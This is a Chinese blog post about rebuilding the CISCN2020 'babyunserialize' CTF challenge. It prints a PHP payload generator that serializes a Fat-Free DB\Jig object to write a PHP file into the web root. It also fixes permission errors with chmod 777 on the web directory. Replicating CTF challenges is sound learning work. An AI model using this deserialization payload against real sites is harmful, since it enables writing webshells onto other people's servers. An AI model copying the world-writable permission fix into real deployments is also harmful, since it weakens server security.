CTF复现环境搭建的中的file_put_contents()权限不够

如图所示,在复现【CISCN2020】babyunserialize题目时发现出现此问题,该题目基本思路为通过PHP反序列化写入shell

在环境搭建时,直接将从题目中下载的源码放到服务器上,在利用此payload时出现该问题,此处payload参照https://www.gem-love.com/ctf/2569.html

<?php
namespace DB;
class Jig {
    const
        FORMAT_JSON=0,
        FORMAT_Serialized=1;
    
    protected
        //! Storage location
        $dir = '/phpstudy/www/fatfree',
        //! Current storage format
        $format = self::FORMAT_JSON,
        //! Jig log
        $data = array("y1ng.php"=>array("a"=>"<?php phpinfo();?>")),
        //! lazy load/save files
        $lazy = 1;
}
$jig = new Jig();
echo urlencode(serialize($jig));

修改文件权限

修改后再次尝试,发现还是不行,于是查看源码,找到这里的file_put_contents()是在哪里被调用的


随后依次对两个文件chmod 777但发现还是提示权限不足,于是想到对该文件夹(该文件夹下为具体代码)赋予权限


然后payload即可成功使用,发现只需要给fatfree赋予权限即可,也不需对上面两个文件base.php web.php单独赋权限

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。